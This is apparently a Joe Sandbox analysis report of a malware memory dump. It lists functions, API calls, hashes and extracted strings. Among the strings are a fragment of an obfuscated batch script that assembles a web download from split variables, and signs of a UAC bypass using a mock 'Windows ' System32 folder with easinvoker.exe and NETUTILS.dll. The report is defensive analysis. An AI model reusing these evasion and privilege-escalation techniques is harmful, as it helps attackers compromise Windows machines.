Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 7ad8578d0716f0f4d2883938aa5de7174a3a599dc47e7b4cd8f5cfb4f38ce3b8
Instruction ID: 4726f10cf55fcc2c0afe96f1dfc432c9938926f870532acb0b25707ec40ef32b
Opcode Fuzzy Hash: 7ad8578d0716f0f4d2883938aa5de7174a3a599dc47e7b4cd8f5cfb4f38ce3b8
Instruction Fuzzy Hash: 7A21C171A40209BAEB10EBE4CC42FEEB7BDEF48B10F614462B604F71C0D7B4AE048A54

Uniqueness

Uniqueness Score: -1.00%

Function 0299C368 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02984EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EF2

RtlInitUnicodeString.N(?,?,00000000,0299C3E2), ref: 0299C390
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0299C3E2), ref: 0299C3A6
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0299C3E2), ref: 0299C3C5

Part of subcall function 02984C24: SysFreeString.OLEAUT32(0299D42C), ref: 02984C32

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 04a8fb315ef8d24e34d95f96107fc9c2ecc209412234dc70c0e16f032f6f191a
Instruction ID: 820cb799d5032e6fec4ee44bac3f7422d105abc8dd97eaeb51b56b1ff87f20f4
Opcode Fuzzy Hash: 04a8fb315ef8d24e34d95f96107fc9c2ecc209412234dc70c0e16f032f6f191a
Instruction Fuzzy Hash: 8901F475940208BBDF01EBA4CD42FCEB3FDEB8C710F904572A601E7580EA74AB048A69

Uniqueness

Uniqueness Score: -1.00%

Function 02996D84 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02996D28: CLSIDFromProgID.OLE32(00000000,?,00000000,02996D75,?,?,?,00000000), ref: 02996D55

CoCreateInstance.OLE32(?,00000000,00000005,02996E68,00000000,00000000,02996DE7,?,00000000,02996E57), ref: 02996DD3

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 5254ee1c1310cf129891ea82f89374fa4416d3c6dad30dabc50dd87d823ab021
Instruction ID: 3f45dfbae067c40dd8dc78262a8a351f2f6f0faec8890a459d8e29875aa771f4
Opcode Fuzzy Hash: 5254ee1c1310cf129891ea82f89374fa4416d3c6dad30dabc50dd87d823ab021
Instruction Fuzzy Hash: BA01A7716087046FEF05EFA9DC52D6F7BADDBC9B20F920475F505D2680E6709910C964

Uniqueness

Uniqueness Score: -1.00%

Function 029A1AC0 Relevance: 46.7, APIs: 2, Strings: 23, Instructions: 2959sleepprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 02997BE8: LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
Part of subcall function 02997BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
Part of subcall function 02997BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

Part of subcall function 0299C3F8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C4CA), ref: 0299C437
Part of subcall function 0299C3F8: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C471
Part of subcall function 0299C3F8: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C49E
Part of subcall function 0299C3F8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C4A7

Part of subcall function 02987E18: GetFileAttributesA.KERNEL32(00000000,?,0299E0EE,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanString,029E4344,029A8FEC,UacScan,029E4344,029A8FEC,UacInitialize), ref: 02987E23

Sleep.KERNEL32(00001770,UacScan,029E4344,029A8FEC,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanBuffer,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC), ref: 029A3094

Part of subcall function 0299C368: RtlInitUnicodeString.N(?,?,00000000,0299C3E2), ref: 0299C390
Part of subcall function 0299C368: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0299C3E2), ref: 0299C3A6
Part of subcall function 0299C368: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0299C3E2), ref: 0299C3C5

WinExec.KERNEL32(00000000,029A953C), ref: 029A436D

Strings

C:\Users\Public\alpha.exe, xrefs: 029A3330
[InternetShortcut], xrefs: 029A4BD4
s.d, xrefs: 029A227B
ScanBuffer, xrefs: 029A1CD6, 029A1FEA, 029A2B2A, 029A2CE4, 029A2E82, 029A319D, 029A3351, 029A3541, 029A387B, 029A3B94, 029A3F14, 029A42C9, 029A44F2, 029A46F7, 029A485D, 029A49D1, 029A4A4D
C:\Users\Public\, xrefs: 029A3C19, 029A4E7D
C:\\Users\\Public\\Libraries\\, xrefs: 029A4000
UacScan, xrefs: 029A1ACC, 029A1D52, 029A1E14, 029A1F6E, 029A2066, 029A22D9, 029A25B0, 029A281D, 029A29B6, 029A301F, 029A3A20, 029A3F90, 029A41D1, 029A4476, 029A4583, 029A47E1, 029A48D9
@echo offset "Nnqr=set "%Nnqr%"njyC=="%Nnqr%"qkMvMLsfma%njyC%http"%Nnqr%"dbvWEsxWns%njyC%rem "%Nnqr%"NpzRZtRBVV%njyC%Cloa"%Nnqr%"ftNVZzSZxa%njyC%/Bat"%Nnqr%"TwupSEtIWD%njyC%gith"%Nnqr%"yIGacXULig%njyC%k"%Nnqr%"uGlGnqCSun%njyC%h2sh"%Nnqr%"FU, xrefs: 029A298B
C:\Windows \System32\NETUTILS.dll, xrefs: 029A32FA
HotKey=, xrefs: 029A4D6B
CO.bat, xrefs: 029A27E5
O.bat, xrefs: 029A1E95
OpenSession, xrefs: 029A2128, 029A2355, 029A2472, 029A2899, 029A2AAE, 029A2C68, 029A2E06, 029A2F27, 029A30A5, 029A34C5, 029A365F, 029A37FF, 029A39A4, 029A3B18, 029A3D68, 029A3E1C, 029A40D9, 029A424D, 029A467B, 029A4955, 029A4AC9, 029A4C5D, 029A4E0D
C:\Windows \System32\aaa.bat, xrefs: 029A3315
er.e, xrefs: 029A1C0F
ScanString, xrefs: 029A1B48, 029A1C5A, 029A1ECD, 029A21A4, 029A23D1, 029A24EE, 029A262C, 029A2724, 029A2915, 029A2FA3, 029A33CD, 029A3449, 029A35E3, 029A3928, 029A3CEC, 029A437E, 029A4B64, 029A4CD9, 029A4D91
Initialize, xrefs: 029A26A8, 029A3707, 029A3A9C, 029A3E98, 029A405D, 029A4155, 029A43FA, 029A45FF
URL=file:", xrefs: 029A4BE3
C:\Windows \System32\easinvoker.exe, xrefs: 029A32DF
IconIndex=, xrefs: 029A4C37
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 029A433B
.url, xrefs: 029A3C24
UacInitialize, xrefs: 029A2A32, 029A2BEC, 029A2D8A, 029A3121, 029A3783, 029A3C70

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FilePath$NameName_$AddressAttributesCloseCreateDeleteExecHandleInitLibraryLoadModuleProcSleepStringUnicodeWrite
String ID: .url$@echo offset "Nnqr=set "%Nnqr%"njyC=="%Nnqr%"qkMvMLsfma%njyC%http"%Nnqr%"dbvWEsxWns%njyC%rem "%Nnqr%"NpzRZtRBVV%njyC%Cloa"%Nnqr%"ftNVZzSZxa%njyC%/Bat"%Nnqr%"TwupSEtIWD%njyC%gith"%Nnqr%"yIGacXULig%njyC%k"%Nnqr%"uGlGnqCSun%njyC%h2sh"%Nnqr%"FU$C:\Users\Public\$C:\Users\Public\alpha.exe$C:\Windows \System32\NETUTILS.dll$C:\Windows \System32\aaa.bat$C:\Windows \System32\easinvoker.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CO.bat$HotKey=$IconIndex=$Initialize$O.bat$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$[InternetShortcut]$er.e$s.d
API String ID: 102611719-1347945576
Opcode ID: 5a8b51f5b2636c78e4e079fb3299e1098722b3f5ab16a34f49f9003ddf9cb3d6
Instruction ID: 87d137767a65e2ac38ca743ae2ab5faad2b57a40f5d90ff14318df91e4438d6e
Opcode Fuzzy Hash: 5a8b51f5b2636c78e4e079fb3299e1098722b3f5ab16a34f49f9003ddf9cb3d6
Instruction Fuzzy Hash: 9153E931A5025ADFEF60FB64D890E9D73B6BFC9704F1454A6A009AB650DF70AE81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 029A4EFE Relevance: 18.4, APIs: 2, Strings: 8, Instructions: 941
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997BE8: LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
Part of subcall function 02997BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
Part of subcall function 02997BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

Part of subcall function 0299D318: RegOpenKeyA.ADVAPI32(?,00000000,029E4798), ref: 0299D35C
Part of subcall function 0299D318: RegSetValueExA.ADVAPI32(0000083C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D3C7), ref: 0299D394
Part of subcall function 0299D318: RegCloseKey.ADVAPI32(0000083C,0000083C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D3C7), ref: 0299D39F

WinExec.KERNEL32(00000000,00000000), ref: 029A57F9

Part of subcall function 02999E70: CompareStringA.KERNEL32(00000400,00000001,00000000,?,00000000), ref: 02999F33

RtlMoveMemory.N(00000000,?,00000000,?,ScanBuffer,029E4344,029A8FEC,UacScan,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC), ref: 029A5D7B

Strings

ScanString, xrefs: 029A4F0A, 029A53EC, 029A5886, 029A5CED
Initialize, xrefs: 029A4F86, 029A5560
C:\Users\Public\, xrefs: 029A516A
ScanBuffer, xrefs: 029A50FA, 029A55DC, 029A566D, 029A5A9D, 029A5C30, 029A5D8C, 029A5F00
UacScan, xrefs: 029A507E, 029A5278, 029A52F4, 029A5468, 029A580A, 029A5A21, 029A5BB4, 029A5E84
C:\Windows\System32\, xrefs: 029A57E3
UacInitialize, xrefs: 029A5765
OpenSession, xrefs: 029A5002, 029A51FC, 029A5370, 029A54E4, 029A56E9, 029A5902, 029A59A5, 029A5B38, 029A5E08

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressCloseCompareExecHandleLibraryLoadMemoryModuleMoveOpenProcStringValue
String ID: C:\Users\Public\$C:\Windows\System32\$Initialize$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan
API String ID: 897696978-872072817
Opcode ID: e557639441c446610311af995688a77c9df4cede86129f636780ad68d9dc2512
Instruction ID: ea48897f8cd1869da9db613a82d6fa4219d229abb630351495674bd5782cbe6a
Opcode Fuzzy Hash: e557639441c446610311af995688a77c9df4cede86129f636780ad68d9dc2512
Instruction Fuzzy Hash: 59921934A1025ADFDF20FB64D890ADD73B7BFC9704F1494A5A149AB654DBB0AE81CF80

Uniqueness

Uniqueness Score: -1.00%

Function 02981724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02982000), ref: 029817D0
Sleep.KERNEL32(0000000A,00000000,?,02982000), ref: 029817E6

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 96d595491d5c556a137e1c1d48fb77f0152f930cb68b86b8ccc750fa72649a0a
Instruction ID: efed7afbd6c55cb84755ded349d33e27a2b572a686cd63a1ae6c51b34194c8e5
Opcode Fuzzy Hash: 96d595491d5c556a137e1c1d48fb77f0152f930cb68b86b8ccc750fa72649a0a
Instruction Fuzzy Hash: 21B122B6A05351CBCB15DF68E880365BBE1EB85324F1C86AED44D8F385D7719893CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02997B20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,02997BA5,?,?,00000000,00000000), ref: 02997B61
GetProcAddress.KERNEL32(00000000,kernel32), ref: 02997B67
VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,02997BA5,?,?,00000000,00000000), ref: 02997B81

Strings

irtualProtect, xrefs: 02997B39
kernel32, xrefs: 02997B5C

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: irtualProtect$kernel32
API String ID: 2099061454-2063912171
Opcode ID: e58f4d2d1f5432e0d5535a3c3aaddc3ba23d3bf1750b84bfd56b92d4dc451103
Instruction ID: e4fc19fbe26b41a2f928cc5677700bc00483091d50b4713b3a58a294fd8a01db
Opcode Fuzzy Hash: e58f4d2d1f5432e0d5535a3c3aaddc3ba23d3bf1750b84bfd56b92d4dc451103
Instruction Fuzzy Hash: B90184B5600348AFEB04FFE8DC41E9EB7EDEB88720F554454F514E7680DA34EA108A24

Uniqueness

Uniqueness Score: -1.00%

Function 02981A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 02981B17
Sleep.KERNEL32(0000000A,00000000,?), ref: 02981B31

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f547f121e57f471bd19e28699c43875414399bb3c0d0c254c96f258620f5ffe5
Instruction ID: 2ae0205a693bb6015a63411f6dc4e758e6195e40d39f5f96178ac2cc7c449e59
Opcode Fuzzy Hash: f547f121e57f471bd19e28699c43875414399bb3c0d0c254c96f258620f5ffe5
Instruction Fuzzy Hash: 6851C071A052408FDB15EF6CD984766BBD8AF85324F1C85AED44CCF286E770D886CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0299C8AA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0299C9EA

Strings

OpenSession, xrefs: 0299C98C
ScanBuffer, xrefs: 0299C933
Initialize, xrefs: 0299C8DA

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: a5152eb22be28d2a2eeac7f5f3499d3da88e03b69144143a9a0ff072a7feacf5
Instruction ID: 467471d48cf0c1b711341618e09d6570468b72d539aa4002cb71bda65c2e8d1e
Opcode Fuzzy Hash: a5152eb22be28d2a2eeac7f5f3499d3da88e03b69144143a9a0ff072a7feacf5
Instruction Fuzzy Hash: ED41FB31B112499BEF10FBA8DC41ADEB7FAEFC8714F645426E041B7240DA75AD018F60

Uniqueness

Uniqueness Score: -1.00%

Function 02995BE8 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02995D30,?,?,029938BC,00000001), ref: 02995C44
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02995D30,?,?,029938BC,00000001), ref: 02995C72

Part of subcall function 02987D18: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,029938BC,02995CB2,00000000,02995D30,?,?,029938BC), ref: 02987D66

Part of subcall function 02987F54: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,029938BC,02995CCD,00000000,02995D30,?,?,029938BC,00000001), ref: 02987F73

GetLastError.KERNEL32(00000000,02995D30,?,?,029938BC,00000001), ref: 02995CD7

Part of subcall function 0298A734: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,0298C395,00000000,0298C3EF), ref: 0298A753

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: d2de2fd91c295bfbcf30b5769d4df5f95b2633a9b367756e5d4b4c8b4554363a
Instruction ID: 81778ee3827784f26aee09c532d443dd158a606fc2c48e756327ddd98cc0d885
Opcode Fuzzy Hash: d2de2fd91c295bfbcf30b5769d4df5f95b2633a9b367756e5d4b4c8b4554363a
Instruction Fuzzy Hash: 75318130A042089FDF01EFB8C881BEEBBF6AF88714F958465E504AB380D7755A05CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0299D316 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,029E4798), ref: 0299D35C
RegSetValueExA.ADVAPI32(0000083C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D3C7), ref: 0299D394
RegCloseKey.ADVAPI32(0000083C,0000083C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D3C7), ref: 0299D39F

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: fa12d0fbb7ef6fda11ce7b23452403336953ba3fbba57f61caf3d159932342fc
Instruction ID: fec4b15afe85c295871641739876a4668574b1d43b8ad3977c59ea8a0c152c7b
Opcode Fuzzy Hash: fa12d0fbb7ef6fda11ce7b23452403336953ba3fbba57f61caf3d159932342fc
Instruction Fuzzy Hash: DE111970A14205AFEF10FBA8D88296E77FDEF89714F565460B508DB650D632E9008A50

Uniqueness

Uniqueness Score: -1.00%

Function 0299D318 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,029E4798), ref: 0299D35C
RegSetValueExA.ADVAPI32(0000083C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D3C7), ref: 0299D394
RegCloseKey.ADVAPI32(0000083C,0000083C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D3C7), ref: 0299D39F

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 2f1ed3571de10b49a6d0f46039131623bfb49b0efe8e05a3e118e7d795161d5f
Instruction ID: 5bfbaab0812bd106c0d8dda4c97a560706e26f069b8c047b98b1d9dec8ee409d
Opcode Fuzzy Hash: 2f1ed3571de10b49a6d0f46039131623bfb49b0efe8e05a3e118e7d795161d5f
Instruction Fuzzy Hash: B4111970A14205AFDF10FBA8D88296E77FDEF89714F565460B508DB650D632E9008A50

Uniqueness

Uniqueness Score: -1.00%

Function 02997BE8 Relevance: 4.6, APIs: 3, Instructions: 52libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

Part of subcall function 02997B20: GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,02997BA5,?,?,00000000,00000000), ref: 02997B61
Part of subcall function 02997B20: GetProcAddress.KERNEL32(00000000,kernel32), ref: 02997B67
Part of subcall function 02997B20: VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,02997BA5,?,?,00000000,00000000), ref: 02997B81

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$LibraryLoadProtectVirtual
String ID:
API String ID: 2543409266-0
Opcode ID: 5032c13f1f8ced744851c6c8239caad011e22ae425c05a46b93d2564ba899086
Instruction ID: d522d13a16d828f4eeb2ad9f3562c38c6b446e122028e8ef05c12f89d319c45b
Opcode Fuzzy Hash: 5032c13f1f8ced744851c6c8239caad011e22ae425c05a46b93d2564ba899086
Instruction Fuzzy Hash: 4A01D6B0604344AFEF00FBA8ED51A6EB7F9EFC4700F542464A519AB780DA34D900CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0298E320 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0298E32F

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 31aff32c1c66dcba52fa870f4424ca3497933e947d37c908a429f3d59bddaaf6
Instruction ID: 4846936a2a11a3788b3f94ffb60f243fc812ae1c56b15240a4e1146224213169
Opcode Fuzzy Hash: 31aff32c1c66dcba52fa870f4424ca3497933e947d37c908a429f3d59bddaaf6
Instruction Fuzzy Hash: 4AF0F620704110D6CB147B38C8E4ABD2F9E6F82310B1C1837F8C65B252DB34CC06C762

Uniqueness

Uniqueness Score: -1.00%

Function 02984D14 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0299D42C), ref: 02984C32
SysAllocStringLen.OLEAUT32(?,?), ref: 02984D1F
SysFreeString.OLEAUT32(00000000), ref: 02984D31

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 9cc863aca943af32668bddaa73da5bb5f203b93e717713a200e04cd1a03a22e4
Instruction ID: dc9506824ef5629fa2d71d30ebd8bb96d09b9b013559382f2999fb03bbcca42d
Opcode Fuzzy Hash: 9cc863aca943af32668bddaa73da5bb5f203b93e717713a200e04cd1a03a22e4
Instruction Fuzzy Hash: C0E012B85052025EEB143F218C40B7B376EAFC1765F5C549DA904DA150DB34C442AE35

Uniqueness

Uniqueness Score: -1.00%

Function 02997098 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02997396

Strings

H, xrefs: 0299714D

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: c3f009f88b3be62895cd8fd738d904ffb94c8b3c41cf63d1a7429120618d1a33
Instruction ID: f21c229fb25e98619fca4385828499efe379e179e86f797c6d40adf48ecfeb08
Opcode Fuzzy Hash: c3f009f88b3be62895cd8fd738d904ffb94c8b3c41cf63d1a7429120618d1a33
Instruction Fuzzy Hash: E3B1C0B4A11609DFDB14CF98E880A9DFBF6FF89324F148569E805AB364DB31A845CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0298E71C Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 0298E73D

Part of subcall function 0298E320: VariantClear.OLEAUT32(?), ref: 0298E32F

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

